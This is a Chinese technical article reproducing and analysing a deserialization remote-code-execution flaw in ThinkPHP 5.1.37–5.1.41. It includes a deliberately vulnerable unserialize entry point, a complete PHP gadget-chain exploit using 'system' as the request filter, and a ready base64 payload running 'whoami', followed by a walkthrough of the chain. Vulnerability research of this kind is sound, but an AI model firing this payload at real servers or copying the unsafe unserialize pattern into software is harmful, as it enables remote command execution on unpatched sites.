溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞復(fù)現(xiàn)

發(fā)布時(shí)間:2021-10-18 16:00:53 來源:億速云 閱讀:586 作者:柒染 欄目:安全技術(shù)

這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞復(fù)現(xiàn),文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

0x01 簡介

記錄自己學(xué)習(xí)與理解thinkphp的反序列漏洞的過程

0x02 影響版本

5.1.37-5.1.41(最新版本)

0x03 環(huán)境搭建

1、composer create-project topthink/think=5.1.37 v5.1.37(5.1.37-5.1.41都可)

2、github:

https://github.com/top-think/think/releases

https://github.com/top-think/framework/releases

0x04 漏洞復(fù)現(xiàn)

先添加一個(gè)反序列化的入口

在application\index\controller\index.php中將input參數(shù)反序列化

<?php
namespace app\index\controller;

class Index
{
public function index($input='')
{   
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333333;font-size:18px;} h2{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div > <h2>:) </h2><p> ThinkPHP V5.1<br/><span >12載初心不改(2006-2018) - 你值得信賴的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

EXP:

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表單請求類型偽裝變量
'var_method'       => '_method',
// 表單ajax偽裝變量
'var_ajax'         => '_ajax',
// 表單pjax偽裝變量
'var_pjax'         => '_pjax',
// PATHINFO變量名 用于兼容模式
'var_pathinfo'     => 's',
// 兼容PATH_INFO獲取
'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默認(rèn)全局過濾方法 用逗號分隔多個(gè)
'default_filter'   => '',
// 域名根,如thinkphp.cn
'url_domain_root'  => '',
// HTTPS代理標(biāo)識
'https_agent_name' => '',
// IP代理獲取標(biāo)識
'http_agent_ip'    => 'HTTP_X_REAL_IP',
// URL偽靜態(tài)后綴
'url_html_suffix'  => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
/*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/
?>

5.1.37版本復(fù)現(xiàn):

如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞復(fù)現(xiàn)

5.1.41版本復(fù)現(xiàn)

如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞復(fù)現(xiàn)

0x04 PHP序列化的相關(guān)知識

首先了解下魔法函數(shù),方便后面利用鏈的理解

__construct():當(dāng)對象創(chuàng)建(new)時(shí)會自動調(diào)用。但在unserialize()時(shí)是不會自動調(diào)用的。

__destruct():當(dāng)對象被銷毀時(shí)會自動調(diào)用。

__call():是在對象上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)

__callStatic():是在靜態(tài)上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)。

__get():用于從不可訪問的屬性讀取數(shù)據(jù)。

__set():用于將數(shù)據(jù)寫入不可訪問的屬性。

__isset():在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)。

__unset():在不可訪問的屬性上使用unset()時(shí)觸發(fā)。

__sleep():在執(zhí)行序列化函數(shù)serialize()時(shí)執(zhí)行。

__wakeup():在執(zhí)行反序列化函數(shù)unserialize()時(shí)執(zhí)行。

__toString():當(dāng)一個(gè)對象被當(dāng)做字符串使用。

invoke():腳本嘗試將對象調(diào)用為函數(shù)時(shí),調(diào)用invoke()方法。

反序列化的常見起點(diǎn)

__wakeup:一定會調(diào)用

__destruct:一定會調(diào)用

__toString:當(dāng)一個(gè)對象被反序列化后又被當(dāng)做字符串使用

反序列化的常見中間跳板

__toString:當(dāng)一個(gè)對象被當(dāng)做字符串使用

__get:讀取不可訪問或不存在屬性時(shí)被調(diào)用

__set:當(dāng)給不可訪問或不存在屬性賦值時(shí)被調(diào)用

__isset:對不可訪問或不存在的屬性調(diào)用isset()或empty()時(shí)被調(diào)用

形如 $this->$func();

反序列化的常見終點(diǎn):

__call:調(diào)用不可訪問或不存在的方法時(shí)被調(diào)用

call_user_func:一般php代碼執(zhí)行都會選擇這里

call_user_func_array:一般php代碼執(zhí)行都會選擇這里

0x05 漏洞分析

從EXP入手去分析整個(gè)利用過程,在執(zhí)行EXP時(shí)動態(tài)調(diào)試觀察調(diào)用了哪些魔法函數(shù)

如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞復(fù)現(xiàn)

可以看到依次執(zhí)行了destruct()→tostring()→call()→RCE

從起點(diǎn)開始一步一步跟進(jìn)

1、在\thinkphp\library\think\process\pipes\windows.php中的__destruct調(diào)用了removeFiles方法如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞復(fù)現(xiàn)

主要代碼:

public function __destruct()

{
$this->close();
$this->removeFiles();
}
private function removeFiles()

{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

這里$filename會被當(dāng)做字符串處理,而下一步的toString方法在一個(gè)對象被反序列化后又被當(dāng)做字符串使用時(shí)會被觸發(fā),繼續(xù)跟進(jìn)toString方法

2、在\thinkphp\library\think\model\concern\Conversion.php中__toString中的函數(shù)執(zhí)行過程為toJson→toArray

主要代碼:

//thinkphp\library\think\model\concern\Conversion.php
public function __toString()
{
return $this->toJson();
}
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞復(fù)現(xiàn)

緊接著下一步調(diào)用了visible與call方法,猜測visible是一個(gè)不存在的方法,并自動調(diào)用了call;繼續(xù)看toArray方法的邏輯部分

主要代碼:

//thinkphp\library\think\model\concern\Conversion.php
public function toArray()
{
$item    = [];
$hasVisible = false;
...
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加關(guān)聯(lián)對象屬性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
}

這里的$this->append是我們可控的,這意味著$relation也可控,在toArray函數(shù)中調(diào)用一個(gè)getRelation()方法和一個(gè)getAttr()方法,在下面判斷了變量$relation,若!$relation,繼續(xù)調(diào)用getAttr()方法, 跟進(jìn)getRelation方法

主要代碼:

//thinkphp\library\think\model\concern\RelationShip.php
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

可以看到getRelation()執(zhí)行結(jié)果返回為空,進(jìn)而執(zhí)行了getAttr(),繼續(xù)跟進(jìn)getAttr()

//thinkphp\library\think\model\concern\Attribute.php
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value  = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value  = null;
}
return $value;
}
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

這里的getAttr()調(diào)用了getData()方法,所以toArray方法中的$relation的值為$this->data[$name],也就是說$relation可控;然后控制$relation為一個(gè)類對象,調(diào)用不存在的visible方法后,會自動調(diào)用call方法,這個(gè)類中沒有visible方法,但存在call,跟進(jìn)__call

3、/thinkphp/library/think/Request.php中的__call方法的主要代碼:

public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}

可以看到存在了回調(diào)函數(shù)call_user_func_array,并且this->hook[$method]我們可以控制,但是這里有個(gè) array_unshift($args, $this);會把$this放到$arg數(shù)組的第一個(gè)元素,這樣構(gòu)造不出來參數(shù)可用的payload,因?yàn)榈谝粋€(gè)參數(shù)是$this對象。

如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞復(fù)現(xiàn)

在利用鏈中發(fā)現(xiàn),最終RCE是利用了Requests類的過濾器filter(多數(shù)RCE都是出自此處),調(diào)試器中依次調(diào)用了isAjax(),param(),input(),跟進(jìn)這些方法,觀察是如何執(zhí)行的

4、在\thinkphp/library/think/Request.php的查看各個(gè)方法的主要代碼

public function isAjax($ajax = false)
  {
    $value = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;
    if (true === $ajax) {
      return $result;
    }
    $result      = $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
  }

在isAjax函數(shù)中,我們可以控制$this->config['var_ajax'],這里調(diào)用了param方法,繼續(xù)跟進(jìn)

public function param($name = '', $default = null, $filter = '')
  {
     if (!$this->mergeParam) {
      $method = $this->method(true);
      .....
      $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
      $this->mergeParam = true;
    }
    if (true === $name) {
      // 獲取包含文件上傳信息的數(shù)組
      $file = $this->file();
      $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
      return $this->input($data, '', $default, $filter);
    }
    return $this->input($this->param, $name, $default, $filter);

}

這里在最后調(diào)用了input()函數(shù),由于之前的isAjax()中$this->config['var_ajax']可控,所以這里param($name)可控,跟進(jìn)input()

public function input($data = [], $name = '', $default = null, $filter = '')
  {
    if (false === $name) {
      // 獲取原始數(shù)據(jù)
      return $data;
    }
    ....
    // 解析過濾器
   $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
      array_walk_recursive($data, [$this, 'filterValue'], $filter);
     .....
    } else {
      $this->filterValue($data, $name, $filter);
    }

input()使用回調(diào)函數(shù)調(diào)用了filterValue(),由于param中的$name可控,所以input()中的$name可控,然后input()中又調(diào)用了filterValue(),這樣的話filterValue()中的$name也就是可控的,跟進(jìn)filterValue()

主要代碼:

private function filterValue(&$value, $key, $filters)
{
  $default = array_pop($filters);
  foreach ($filters as $filter) {
    if (is_callable($filter)) {
      // 調(diào)用函數(shù)或者方法過濾
      $value = call_user_func($filter, $value);

該方法調(diào)用了call_user_func函數(shù),從input()中得知,filterValue()的value值可控

繼續(xù)查看input()的主要代碼部分:

public function input($data = [], $name = '', $default = null, $filter = '')
  {
    if (false === $name) {
      // 獲取原始數(shù)據(jù)
      return $data;
    }
    ....
     $data = $this->getData($data, $name);
    ....
    // 解析過濾器
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
      array_walk_recursive($data, [$this, 'filterValue'], $filter);
     .....
    } else {
      $this->filterValue($data, $name, $filter);
    }

這里$data=$this->getData($data, $name)

$filter = $this->getFilter($filter, $default)

兩個(gè)關(guān)鍵的參數(shù),跟進(jìn)getData()代碼:

protected function getData(array $data, $name)
  {
    foreach (explode('.', $name) as $val) {
      if (isset($data[$val])) {
        $data = $data[$val];
      } else {
        return;
      }
    }
    return $data;
}

$name由在最開始的isAjax()中的$this->config['var_ajax']來控制,最終返回$data=$data[$name]

getFilter()代碼:

protected function getFilter($filter, $default)
  {
    if (is_null($filter)) {
      $filter = [];
    } else {
      $filter = $filter ?: $this->filter;
      if (is_string($filter) && false === strpos($filter, '/')) {
        $filter = explode(',', $filter);
      } else {
        $filter = (array) $filter;
      }
    }
    $filter[] = $default;
    return $filter;
}

這里$filter可控,$this->filter,在EXP直接賦值即可,這樣所有可控條件都達(dá)成,成功RCE

總結(jié)一下:

利用鏈:如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞復(fù)現(xiàn)

從EXP的角度下看執(zhí)行過程:

如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞復(fù)現(xiàn)

0x06 修復(fù)方式

官方未修復(fù)

上述就是小編為大家分享的如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞復(fù)現(xiàn)了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI